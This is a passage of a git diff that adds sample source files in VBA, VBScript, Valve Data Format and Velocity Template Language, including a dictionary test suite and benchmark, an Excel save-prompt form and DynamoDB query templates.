+      Title:=filename)                                                          ' Notify user of end of process
+  End If
+End Sub
diff --git a/samples/VBA/specs.bas b/samples/VBA/specs.bas
new file mode 100644
index 0000000000..367223c909
--- /dev/null
+++ b/samples/VBA/specs.bas
@@ -0,0 +1,648 @@
+Attribute VB_Name = "Specs"
+Private pForDisplay As Boolean
+Private pUseNative As Boolean
+
+Public Sub SpeedTest()
+    #If Mac Then
+        ' Mac
+        ExecuteSpeedTest CompareToNative:=False
+    #Else
+        ' Windows
+        ExecuteSpeedTest CompareToNative:=True
+    #End If
+End Sub
+
+Sub ToggleNative(Optional Enabled As Boolean = True)
+    Dim Code As CodeModule
+    Dim Lines As Variant
+    Dim i As Integer
+    
+    Set Code = ThisWorkbook.VBProject.VBComponents("Dictionary").CodeModule
+    Lines = Split(Code.Lines(1, 50), vbNewLine)
+    
+    For i = 0 To UBound(Lines)
+        If InStr(1, Lines(i), "#Const UseScriptingDictionaryIfAvailable") Then
+            Code.ReplaceLine i + 1, "#Const UseScriptingDictionaryIfAvailable = " & Enabled
+            Exit Sub
+        End If
+    Next i
+End Sub
+
+Public Sub RunSpecs()
+    DisplayRunner.IdCol = 1
+    DisplayRunner.DescCol = 1
+    DisplayRunner.ResultCol = 2
+    DisplayRunner.OutputStartRow = 4
+    
+    pForDisplay = True
+    DisplayRunner.RunSuite Specs()
+    pForDisplay = False
+End Sub
+
+Public Function Specs() As SpecSuite
+    Dim UseNative As Boolean
+
+#If Mac Then
+    UseNative = False
+#Else
+    If pUseNative Then
+        UseNative = True
+        pUseNative = False
+    Else
+        If Not pForDisplay Then
+            ' Run native specs first
+            pUseNative = True
+            Specs
+        End If
+        
+        UseNative = False
+    End If
+#End If
+
+    Set Specs = New SpecSuite
+    If UseNative Then
+        Specs.Description = "Scripting.Dictionary"
+    Else
+        Specs.Description = "VBA-Dictionary"
+    End If
+    
+    Dim Dict As Object
+    Dim Items As Variant
+    Dim Keys As Variant
+    Dim Key As Variant
+    Dim Item As Variant
+    Dim A As New Collection
+    Dim B As New Dictionary
+    
+    ' Properties
+    ' ------------------------- '
+    With Specs.It("should get count of items")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        .Expect(Dict.Count).ToEqual 3
+        
+        Dict.Remove "C"
+        .Expect(Dict.Count).ToEqual 2
+    End With
+    
+    With Specs.It("should get item by key")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        
+        .Expect(Dict.Item("B")).ToEqual 3.14
+        .Expect(Dict.Item("D")).ToBeEmpty
+        .Expect(Dict("B")).ToEqual 3.14
+        .Expect(Dict("D")).ToBeEmpty
+    End With
+    
+    With Specs.It("should let item by key")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        
+        ' Let + New
+        Dict("D") = True
+        
+        ' Let + Replace
+        Dict("A") = 456
+        Dict("B") = 3.14159
+        
+        ' Should have correct values
+        .Expect(Dict("A")).ToEqual 456
+        .Expect(Dict("B")).ToEqual 3.14159
+        .Expect(Dict("C")).ToEqual "ABC"
+        .Expect(Dict("D")).ToEqual True
+        
+        ' Should have correct order
+        .Expect(Dict.Keys()(0)).ToEqual "A"
+        .Expect(Dict.Keys()(1)).ToEqual "B"
+        .Expect(Dict.Keys()(2)).ToEqual "C"
+        .Expect(Dict.Keys()(3)).ToEqual "D"
+    End With
+    
+    With Specs.It("should set item by key")
+        Set Dict = CreateDictionary(UseNative)
+
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+
+        ' Set + New
+        Set Dict("D") = CreateDictionary(UseNative)
+        Dict("D").Add "key", "D"
+
+        ' Set + Replace
+        Set Dict("A") = CreateDictionary(UseNative)
+        Dict("A").Add "key", "A"
+        Set Dict("B") = CreateDictionary(UseNative)
+        Dict("B").Add "key", "B"
+
+        ' Should have correct values
+        .Expect(Dict.Item("A")("key")).ToEqual "A"
+        .Expect(Dict.Item("B")("key")).ToEqual "B"
+        .Expect(Dict.Item("C")).ToEqual "ABC"
+        .Expect(Dict.Item("D")("key")).ToEqual "D"
+
+        ' Should have correct order
+        .Expect(Dict.Keys()(0)).ToEqual "A"
+        .Expect(Dict.Keys()(1)).ToEqual "B"
+        .Expect(Dict.Keys()(2)).ToEqual "C"
+        .Expect(Dict.Keys()(3)).ToEqual "D"
+    End With
+    
+    With Specs.It("should change key")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        
+        Dict.Key("B") = "PI"
+        .Expect(Dict("PI")).ToEqual 3.14
+    End With
+    
+    With Specs.It("should use CompareMode")
+        Set Dict = CreateDictionary(UseNative)
+        Dict.CompareMode = 0
+        
+        Dict.Add "A", 123
+        Dict("a") = 456
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        
+        .Expect(Dict("A")).ToEqual 123
+        .Expect(Dict("a")).ToEqual 456
+        
+        Set Dict = CreateDictionary(UseNative)
+        Dict.CompareMode = 1
+        
+        Dict.Add "A", 123
+        Dict("a") = 456
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        
+        .Expect(Dict("A")).ToEqual 456
+        .Expect(Dict("a")).ToEqual 456
+    End With
+    
+    With Specs.It("should allow Variant for key")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Key = "A"
+        Dict(Key) = 123
+        .Expect(Dict(Key)).ToEqual 123
+        
+        Key = "B"
+        Set Dict(Key) = CreateDictionary(UseNative)
+        .Expect(Dict(Key).Count).ToEqual 0
+    End With
+    
+    With Specs.It("should handle numeric keys")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add 3, 1
+        Dict.Add 2, 2
+        Dict.Add 1, 3
+        Dict.Add "3", 4
+        Dict.Add "2", 5
+        Dict.Add "1", 6
+
+        .Expect(Dict(3)).ToEqual 1
+        .Expect(Dict(2)).ToEqual 2
+        .Expect(Dict(1)).ToEqual 3
+        .Expect(Dict("3")).ToEqual 4
+        .Expect(Dict("2")).ToEqual 5
+        .Expect(Dict("1")).ToEqual 6
+        
+        .Expect(Dict.Keys()(0)).ToEqual 3
+        .Expect(Dict.Keys()(1)).ToEqual 2
+        .Expect(Dict.Keys()(2)).ToEqual 1
+        .Expect(TypeName(Dict.Keys()(0))).ToEqual "Integer"
+        .Expect(TypeName(Dict.Keys()(1))).ToEqual "Integer"
+        .Expect(TypeName(Dict.Keys()(2))).ToEqual "Integer"
+    End With
+    
+    With Specs.It("should handle boolean keys")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add True, 1
+        Dict.Add False, 2
+        
+        .Expect(Dict(True)).ToEqual 1
+        .Expect(Dict(False)).ToEqual 2
+        
+        .Expect(Dict.Keys()(0)).ToEqual True
+        .Expect(Dict.Keys()(1)).ToEqual False
+        .Expect(TypeName(Dict.Keys()(0))).ToEqual "Boolean"
+        .Expect(TypeName(Dict.Keys()(1))).ToEqual "Boolean"
+    End With
+    
+    With Specs.It("should handle object keys")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Set A = New Collection
+        Set B = New Dictionary
+        
+        A.Add 123
+        B.Add "a", 456
+        
+        Dict.Add A, "123"
+        Dict.Add B, "456"
+        
+        .Expect(Dict(A)).ToEqual "123"
+        .Expect(Dict(B)).ToEqual "456"
+        
+        Dict.Remove B
+        Dict.Key(A) = B
+        
+        .Expect(Dict(B)).ToEqual "123"
+    End With
+    
+    ' Methods
+    ' ------------------------- '
+    With Specs.It("should add an item")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        Dict.Add "E", Array(1, 2, 3)
+        Dict.Add "F", Dict
+        
+        .Expect(Dict("A")).ToEqual 123
+        .Expect(Dict("B")).ToEqual 3.14
+        .Expect(Dict("C")).ToEqual "ABC"
+        .Expect(Dict("D")).ToEqual True
+        .Expect(Dict("E")(1)).ToEqual 2
+        .Expect(Dict("F")("C")).ToEqual "ABC"
+    End With
+    
+    With Specs.It("should check if an item exists")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "Exists", 123
+        .Expect(Dict.Exists("Exists")).ToEqual True
+        .Expect(Dict.Exists("Doesn't Exist")).ToEqual False
+    End With
+    
+    With Specs.It("should get an array of all items")
+        Set Dict = CreateDictionary(UseNative)
+        
+        .Expect(Dict.Items).RunMatcher "Specs.ToBeAnEmptyArray", "to be an empty array"
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        
+        Items = Dict.Items
+        .Expect(UBound(Items)).ToEqual 3
+        .Expect(Items(0)).ToEqual 123
+        .Expect(Items(3)).ToEqual True
+        
+        Dict.Remove "A"
+        Dict.Remove "B"
+        Dict.Remove "C"
+        Dict.Remove "D"
+        .Expect(Dict.Items).RunMatcher "Specs.ToBeAnEmptyArray", "to be an empty array"
+    End With
+    
+    With Specs.It("should get an array of all keys")
+        Set Dict = CreateDictionary(UseNative)
+        
+        .Expect(Dict.Keys).RunMatcher "Specs.ToBeAnEmptyArray", "to be an empty array"
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        
+        Keys = Dict.Keys
+        .Expect(UBound(Keys)).ToEqual 3
+        .Expect(Keys(0)).ToEqual "A"
+        .Expect(Keys(3)).ToEqual "D"
+        
+        Dict.RemoveAll
+        .Expect(Dict.Keys).RunMatcher "Specs.ToBeAnEmptyArray", "to be an empty array"
+    End With
+    
+    With Specs.It("should remove item")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        
+        .Expect(Dict.Count).ToEqual 4
+        
+        Dict.Remove "C"
+                
+        .Expect(Dict.Count).ToEqual 3
+    End With
+    
+    With Specs.It("should remove all items")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        
+        .Expect(Dict.Count).ToEqual 4
+        
+        Dict.RemoveAll
+        
+        .Expect(Dict.Count).ToEqual 0
+    End With
+    
+    ' Other
+    ' ------------------------- '
+    With Specs.It("should For Each over keys")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Set Keys = New Collection
+        For Each Key In Dict.Keys
+            Keys.Add Key
+        Next Key
+        
+        .Expect(Keys.Count).ToEqual 0
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        
+        Set Keys = New Collection
+        For Each Key In Dict.Keys
+            Keys.Add Key
+        Next Key
+        
+        .Expect(Keys.Count).ToEqual 4
+        .Expect(Keys(1)).ToEqual "A"
+        .Expect(Keys(4)).ToEqual "D"
+    End With
+    
+    With Specs.It("should For Each over items")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Set Items = New Collection
+        For Each Item In Dict.Items
+            Items.Add Item
+        Next Item
+        
+        .Expect(Items.Count).ToEqual 0
+        
+        Dict.Add "A", 123
+        Dict.Add "B", 3.14
+        Dict.Add "C", "ABC"
+        Dict.Add "D", True
+        
+        Set Items = New Collection
+        For Each Item In Dict.Items
+            Items.Add Item
+        Next Item
+        
+        .Expect(Items.Count).ToEqual 4
+        .Expect(Items(1)).ToEqual 123
+        .Expect(Items(4)).ToEqual True
+    End With
+    
+    With Specs.It("should have UBound of -1 for empty Keys and Items")
+        Set Dict = CreateDictionary(UseNative)
+        
+        .Expect(UBound(Dict.Keys)).ToEqual -1
+        .Expect(UBound(Dict.Items)).ToEqual -1
+        .Expect(Err.Number).ToEqual 0
+    End With
+    
+    ' Errors
+    ' ------------------------- '
+    Err.Clear
+    On Error Resume Next
+    
+    With Specs.It("should throw 5 when changing CompareMode with items in Dictionary")
+        Set Dict = CreateDictionary(UseNative)
+        Dict.Add "A", 123
+        
+        Dict.CompareMode = vbTextCompare
+        
+        .Expect(Err.Number).ToEqual 5
+        Err.Clear
+    End With
+    
+    With Specs.It("should throw 457 on Add if key exists")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add "A", 123
+        Dict.Add "A", 456
+        
+        .Expect(Err.Number).ToEqual 457
+        Err.Clear
+        
+        Dict.RemoveAll
+        Dict.Add "A", 123
+        Dict.Add "a", 456
+        
+        .Expect(Err.Number).ToEqual 0
+        Err.Clear
+        
+        Dict.RemoveAll
+        Dict.CompareMode = vbTextCompare
+        Dict.Add "A", 123
+        Dict.Add "a", 456
+        
+        .Expect(Err.Number).ToEqual 457
+        Err.Clear
+    End With
+    
+    With Specs.It("should throw 32811 on Remove if key doesn't exist")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Remove "A"
+        
+        .Expect(Err.Number).ToEqual 32811
+        Err.Clear
+    End With
+    
+    With Specs.It("should throw 457 for Boolean key quirks")
+        Set Dict = CreateDictionary(UseNative)
+        
+        Dict.Add True, "abc"
+        Dict.Add -1, "def"
+        
+        .Expect(Err.Number).ToEqual 457
+        Err.Clear
+        
+        Dict.Add False, "abc"
+        Dict.Add 0, "def"
+        
+        .Expect(Err.Number).ToEqual 457
+        Err.Clear
+    End With
+    
+    On Error GoTo 0
+    InlineRunner.RunSuite Specs
+End Function
+
+Public Sub ExecuteSpeedTest(Optional CompareToNative As Boolean = False)
+    Dim Counts As Variant
+    Counts = Array(5000, 5000, 5000, 5000, 7500, 7500, 7500, 7500)
+    
+    Dim Baseline As Collection
+    If CompareToNative Then
+        Set Baseline = RunSpeedTest(Counts, True)
+    End If
+    
+    Dim Results As Collection
+    Set Results = RunSpeedTest(Counts, False)
+    
+    Debug.Print vbNewLine & "SpeedTest Results:" & vbNewLine
+    PrintResults "Add", Baseline, Results, 0
+    PrintResults "Iterate", Baseline, Results, 1
+End Sub
+
+Public Sub PrintResults(Test As String, Baseline As Collection, Results As Collection, Index As Integer)
+    Dim BaselineAvg As Single
+    Dim ResultsAvg As Single
+    Dim i As Integer
+    
+    If Not Baseline Is Nothing Then
+        For i = 1 To Baseline.Count
+            BaselineAvg = BaselineAvg + Baseline(i)(Index)
+        Next i
+        BaselineAvg = BaselineAvg / Baseline.Count
+    End If
+    
+    For i = 1 To Results.Count
+        ResultsAvg = ResultsAvg + Results(i)(Index)
+    Next i
+    ResultsAvg = ResultsAvg / Results.Count
+    
+    Dim Result As String
+    Result = Test & ": " & Format(Round(ResultsAvg, 0), "#,##0") & " ops./s"
+    
+    If Not Baseline Is Nothing Then
+        Result = Result & " vs. " & Format(Round(BaselineAvg, 0), "#,##0") & " ops./s "
+    
+        If ResultsAvg < BaselineAvg Then
+            Result = Result & Format(Round(BaselineAvg / ResultsAvg, 0), "#,##0") & "x slower"
+        ElseIf BaselineAvg > ResultsAvg Then
+            Result = Result & Format(Round(ResultsAvg / BaselineAvg, 0), "#,##0") & "x faster"
+        End If
+    End If
+    Result = Result
+    
+    If Results.Count > 1 Then
+        Result = Result & vbNewLine
+        For i = 1 To Results.Count
+            Result = Result & "  " & Format(Round(Results(i)(Index), 0), "#,##0")
+            
+            If Not Baseline Is Nothing Then
+                Result = Result & " vs. " & Format(Round(Baseline(i)(Index), 0), "#,##0")
+            End If
+            
+            Result = Result & vbNewLine
+        Next i
+    End If
+    
+    Debug.Print Result
+End Sub
+
+Public Function RunSpeedTest(Counts As Variant, Optional UseNative As Boolean = False) As Collection
+    Dim Results As New Collection
+    Dim CountIndex As Integer
+    Dim Dict As Object
+    Dim i As Long
+    Dim AddResult As Double
+    Dim Key As Variant
+    Dim Value As Variant
+    Dim IterateResult As Double
+    Dim Timer As New PreciseTimer
+    
+    For CountIndex = LBound(Counts) To UBound(Counts)
+        Timer.StartTimer
+    
+        Set Dict = CreateDictionary(UseNative)
+        For i = 1 To Counts(CountIndex)
+            Dict.Add CStr(i), i
+        Next i
+        
+        ' Convert to seconds
+        AddResult = Timer.TimeElapsed / 1000#
+        
+        ' Convert to ops./s
+        If AddResult > 0 Then
+            AddResult = Counts(CountIndex) / AddResult
+        Else
+            ' Due to single precision, timer resolution is 0.01 ms, set to 0.005 ms
+            AddResult = Counts(CountIndex) / 0.005
+        End If
+        
+        Timer.StartTimer
+        
+        For Each Key In Dict.Keys
+            Value = Dict.Item(Key)
+        Next Key
+        
+        ' Convert to seconds
+        IterateResult = Timer.TimeElapsed / 1000#
+        
+        ' Convert to ops./s
+        If IterateResult > 0 Then
+            IterateResult = Counts(CountIndex) / IterateResult
+        Else
+            ' Due to single precision, timer resolution is 0.01 ms, set to 0.005 ms
+            IterateResult = Counts(CountIndex) / 0.005
+        End If
+        
+        Results.Add Array(AddResult, IterateResult)
+    Next CountIndex
+    
+    Set RunSpeedTest = Results
+End Function
+
+Public Function CreateDictionary(Optional UseNative As Boolean = False) As Object
+    If UseNative Then
+        Set CreateDictionary = CreateObject("Scripting.Dictionary")
+    Else
+        Set CreateDictionary = New Dictionary
+    End If
+End Function
+
+Public Function ToBeAnEmptyArray(Actual As Variant) As Variant
+    Dim UpperBound As Long
+
+    Err.Clear
+    On Error Resume Next
+    
+    ' First, make sure it's an array
+    If IsArray(Actual) = False Then
+        ' we weren't passed an array, return True
+        ToBeAnEmptyArray = True
+    Else
+        ' Attempt to get the UBound of the array. If the array is
+        ' unallocated, an error will occur.
+        UpperBound = UBound(Actual, 1)
+        If (Err.Number <> 0) Then
+            ToBeAnEmptyArray = True
+        Else
+            ' Check for case of -1 UpperBound (Scripting.Dictionary.Keys/Items)
+            Err.Clear
+            If LBound(Actual) > UpperBound Then
+                ToBeAnEmptyArray = True
+            Else
+                ToBeAnEmptyArray = False
+            End If
+        End If
+    End If
+End Function
diff --git a/samples/VBA/stdSaveHandler.frm b/samples/VBA/stdSaveHandler.frm
new file mode 100644
index 0000000000..1bf01853a9
--- /dev/null
+++ b/samples/VBA/stdSaveHandler.frm
@@ -0,0 +1,94 @@
+VERSION 5.00
+Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} stdSaveHandler 
+   Caption         =   "Microsoft Excel"
+   ClientHeight    =   1500
+   ClientLeft      =   45
+   ClientTop       =   390
+   ClientWidth     =   6240
+   OleObjectBlob   =   "stdSaveHandler.frx":0000
+   StartUpPosition =   1  'CenterOwner
+End
+Attribute VB_Name = "stdSaveHandler"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = True
+Attribute VB_Exposed = False
+Private WithEvents pWorkbook As Workbook
+Attribute pWorkbook.VB_VarHelpID = -1
+Public Event BeforeShow(obj As stdSaveHandler)
+Public Event AfterShow(obj As stdSaveHandler)
+Public Event WorkbookClose()
+Public Event WorkbookCancelSave()
+Public Event WorkbookBeforeSave()
+Public Event WorkbookAfterSave()
+
+Public Cancel As Boolean
+Public Save As Boolean
+Private bClosingAlready As Boolean
+
+
+
+Public Function Create(wb As Workbook) As stdSaveHandler
+  Dim obj As stdSaveHandler
+  Set obj = New stdSaveHandler
+  obj.Init wb
+  Set Create = obj
+End Function
+Friend Sub Init(wb As Workbook)
+  Set pWorkbook = wb
+End Sub
+
+'Button events
+Private Sub btnCancel_Click()
+  Me.Cancel = True
+  Me.Hide
+End Sub
+Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
+  Me.Cancel = True
+  Me.Hide
+End Sub
+
+Private Sub btnDontSave_Click()
+  Me.Cancel = False
+  Me.Save = False
+  Me.Hide
+End Sub
+
+Private Sub btnSave_Click()
+  Me.Cancel = False
+  Me.Save = True
+  Me.Hide
+End Sub
+
+Private Sub pWorkbook_BeforeClose(Cancel As Boolean)
+  If Not bClosingAlready Then
+    'Show workbook and raise events either side
+    RaiseEvent BeforeShow(Me)
+      Me.labelText = "Want to save your changes to '" & ThisWorkbook.Name & "'?"
+      Me.Show
+    RaiseEvent AfterShow(Me)
+    
+    'Always cancel main application dialog
+    Cancel = True
+    
+    'If cancelled don't raise WorkbookClose event as the workbook is not closing
+    If Me.Cancel Then
+      RaiseEvent WorkbookCancelSave
+      Exit Sub
+    End If
+    
+    'If me.save is set then save the workbook and call the necessary events
+    If Me.Save Then
+      RaiseEvent WorkbookBeforeSave
+        ThisWorkbook.Save
+      RaiseEvent WorkbookAfterSave
+    End If
+    
+    'Raise workbook close event
+    RaiseEvent WorkbookClose
+    
+    'Close workbook without saving
+    bClosingAlready = True
+    ThisWorkbook.Close False
+  End If
+End Sub
diff --git a/samples/VBScript/v_Data_ArrayList.vbs b/samples/VBScript/v_Data_ArrayList.vbs
new file mode 100644
index 0000000000..e5073fd592
--- /dev/null
+++ b/samples/VBScript/v_Data_ArrayList.vbs
@@ -0,0 +1,140 @@
+Class v_Data_ArrayList
+	Private pArrayList
+
+	Private Sub Class_Initialize()
+		Set pArrayList = CreateObject("System.Collections.ArrayList")
+	End Sub
+
+
+	' Properties
+
+
+	Public Property Get Capacity()
+		Capacity = pArrayList.Capacity
+	End Property
+
+	Public Property Let Capacity(intSize)
+		pArrayList.Capacity = intSize
+	End Property
+
+	Public Property Get Count()
+		Count = pArrayList.Count
+	End Property
+
+	Public Property Get IsFixedSize()
+		IsFixedSize = pArrayList.IsFixedSize
+	End Property
+
+	Public Property Get IsReadOnly()
+		IsReadOnly = pArrayList.IsReadOnly
+	End Property
+
+	Public Property Get IsSynchronized()
+		IsSynchronized = pArrayList.IsSynchronized
+	End Property
+
+	Public Default Property Get Item(intIndex)
+		If IsObject(pArrayList(intIndex)) Then
+			Set Item = pArrayList(intIndex)
+		Else
+			Item = pArrayList(intIndex)
+		End If
+	End Property
+
+	Public Property Let Item(intIndex, varInput)
+		pArrayList(intIndex) = varInput
+	End Property
+
+	Public Property Set Item(intIndex, varInput)
+		Set pArrayList(intIndex) = varInput
+	End Property
+
+	Public Property Get SyncRoot()
+		SyncRoot = pArrayList.SyncRoot
+	End Property
+
+
+	' Methods
+
+
+	Public Sub Add(varItem)
+		pArrayList.Add varItem
+	End Sub
+
+	Public Sub Clear()
+		pArrayList.Clear()
+	End Sub
+
+	Public Function Clone()
+		Set Clone = pArrayList.Clone()
+	End Function
+
+	Public Function Contains(varItem)
+		Contains = pArrayList.Contains(varItem)
+	End Function
+
+	Public Function Equals(objItem)
+		Equals = pArrayList.Equals(objItem)
+	End Function
+
+	Public Function GetEnumerator(intStart, intEnd)
+		Set GetEnumerator = pArrayList.GetEnumerator(intStart, intEnd)
+	End Function
+
+	Public Function GetHashCode()
+		GetHashCode = pArrayList.GetHashCode()
+	End Function
+
+	Public Function GetType()
+		GetType = pArrayList.GetType()
+	End Function
+
+	Public Sub Insert(intIndex, varItem)
+		pArrayList.Insert intIndex, varItem
+	End Sub
+
+	Public Sub Remove(varItem)
+		pArrayList.Remove varItem
+	End Sub
+
+	Public Sub RemoveAt(intIndex)
+		pArrayList.RemoveAt intIndex
+	End Sub
+
+	Public Sub Reverse()
+		pArrayList.Reverse()
+	End Sub
+
+	Public Sub Sort()
+		pArrayList.Sort()
+	End Sub
+
+	Public Function ToArray()
+		ToArray = pArrayList.ToArray()
+	End Function
+
+	Public Function ToString()
+		ToString = pArrayList.ToString()
+	End Function
+
+	Public Function TrimToSize()
+		TrimToSize = pArrayList.TrimToSize()
+	End Function
+
+	Private Sub Class_Terminate()
+		Set pArrayList = Nothing
+	End Sub
+End Class
+
+If WScript.ScriptName = "v_Data_ArrayList.vbs" Then
+	Dim arraylist
+	Set arraylist = New v_Data_ArrayList
+
+	arraylist.Add "Train"
+	arraylist.Add "Bus"
+	arraylist.Add "Car"
+	arraylist.Add "Bicycle"
+	arraylist.Add "Boat"
+
+	WScript.Echo arraylist(2)
+End If
\ No newline at end of file
diff --git a/samples/Valve Data Format/gameinfo.vdf b/samples/Valve Data Format/gameinfo.vdf
new file mode 100644
index 0000000000..67cef2121a
--- /dev/null
+++ b/samples/Valve Data Format/gameinfo.vdf	
@@ -0,0 +1,78 @@
+"GameInfo"
+{
+	game	"Lambda Fortress"
+	gamelogo 1
+	type 	multiplayer_only
+	icon	"resource/game"
+	nomodels 0
+	nohimodel 1
+	nocrosshair 1
+	hidden_maps
+	{
+		"test_speakers"		1
+		"test_hardware"		1
+	}
+	supportsvr	1
+	FileSystem
+	{
+		SteamAppId		243750	// Source SDK Base 2013 Multiplayer
+		SearchPaths
+		{
+			// Firstly, mount all user customizations.  This will search for VPKs and subfolders
+			// and mount them in alphabetical order.  The easiest way to distribute a mod is to
+			// pack up the custom content into a VPK.  To "install" a mod, just drop it in this
+			// folder.
+			// Note that this folder is scanned only when the game is booted.
+			game+mod			|gameinfo_path|custom/*
+
+			// Search game's files after any user customizations. This is also where any writes should go.
+			game+game_write+mod+mod_write+default_write_path		|gameinfo_path|.
+
+			// Where the game's binaries are.
+			gamebin				|gameinfo_path|bin
+
+			// Search shared VPK files.
+			game_lv				hl2/hl2_lv.vpk
+			game				|all_source_engine_paths|hl2/hl2_textures.vpk
+			game				|all_source_engine_paths|hl2/hl2_sound_vo_english.vpk
+			game				|all_source_engine_paths|hl2/hl2_sound_misc.vpk
+			game				|all_source_engine_paths|hl2/hl2_misc.vpk
+			platform			|all_source_engine_paths|platform/platform_misc.vpk
+
+			// Mount in shared loose files.
+			game				|all_source_engine_paths|hl2
+			platform			|all_source_engine_paths|platform
+
+			//TF2-HL1/HL2 COOP -- Leave EP1/EP2 stuff out until it's ready.
+			//game				"|all_source_engine_paths|../Half-Life 2/ep2/ep2_sound_vo_english.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/ep2/ep2_pak.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/ep2"
+			//game				"|all_source_engine_paths|../Half-Life 2/episodic/ep1_sound_vo_english.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/episodic/ep1_pak.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/episodic"
+			//game				"|all_source_engine_paths|../Half-Life 2/lostcoast/lostcoast_sound_vo_english.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/lostcoast/lostcoast_pak.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/lostcoast"
+			game				"|all_source_engine_paths|../Half-Life 2/hl2/hl2_pak.vpk"
+			game				"|all_source_engine_paths|../Half-Life 2/hl2"
+			//game				"|all_source_engine_paths|../Half-Life 2/hl1_hd/hl1_hd_pak.vpk"
+			//game				"|all_source_engine_paths|../Half-Life 2/hl1_hd/"
+			game				"|all_source_engine_paths|../Half-Life 2/hl1/hl1_pak.vpk"
+			game				"|all_source_engine_paths|../Half-Life 2/hl1/"
+			
+			
+			// Random files downloaded from gameservers go into a seperate directory, so
+			// that it's easy to keep those files segregated from the official game files
+			// or customizations intentially installed by the user.
+			//
+			// This directory is searched LAST.  If you visit a server and download
+			// a custom model, etc, we don't want that file to override the default
+			// game file indefinitely (after you have left the server).  Servers CAN have
+			// custom content that overrides the default game files, it just needs to be
+			// packed up in the .bsp file so that it will be mounted as a map search pack.
+			// The map search pack is mounted at the top of the search path list,
+			// but only while you are connected that server and on that map.
+			game+download			|gameinfo_path|download
+		}
+	}
+}
diff --git a/samples/Velocity Template Language/Mutation.updatePic.req.vtl b/samples/Velocity Template Language/Mutation.updatePic.req.vtl
new file mode 100644
index 0000000000..639d6e04db
--- /dev/null
+++ b/samples/Velocity Template Language/Mutation.updatePic.req.vtl	
@@ -0,0 +1,42 @@
+#*
+MIT License
+
+Copyright (c) 2018 Siddharth Gupta
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+*#
+
+{
+    "version" : "2017-02-28",
+    "operation" : "Query",
+    "query" : {
+        ## Provide a query expression. **
+        "expression": "handle = :handle",
+        "expressionValues" : {
+            ":handle" : {
+                "S" : "${context.identity.username}"
+            }
+        }
+    },
+    ## Provide a secondary index name or remove the next line to query the table directly. **
+    "index": "top-index",
+    ## Add 'limit' and 'nextToken' arguments to this field in your schema to implement pagination. **
+    "limit": 1,
+    "scanIndexForward": false
+}
\ No newline at end of file
diff --git a/samples/Velocity Template Language/gateway-dynamo.vtl b/samples/Velocity Template Language/gateway-dynamo.vtl
new file mode 100644
index 0000000000..ba8417aec3
--- /dev/null
+++ b/samples/Velocity Template Language/gateway-dynamo.vtl	
@@ -0,0 +1,30 @@
+## https://en.wikipedia.org/wiki/Apache_Velocity#Code_examples
+{
+    "TableName": "happy-marketer",
+    "KeyConditionExpression": "pk = :pk AND begins_with(sk, :sk)",
+    #if ($input.params('projectStatus') == 'archived')
+    "FilterExpression": "projectStatus = :Archived",
+    #else
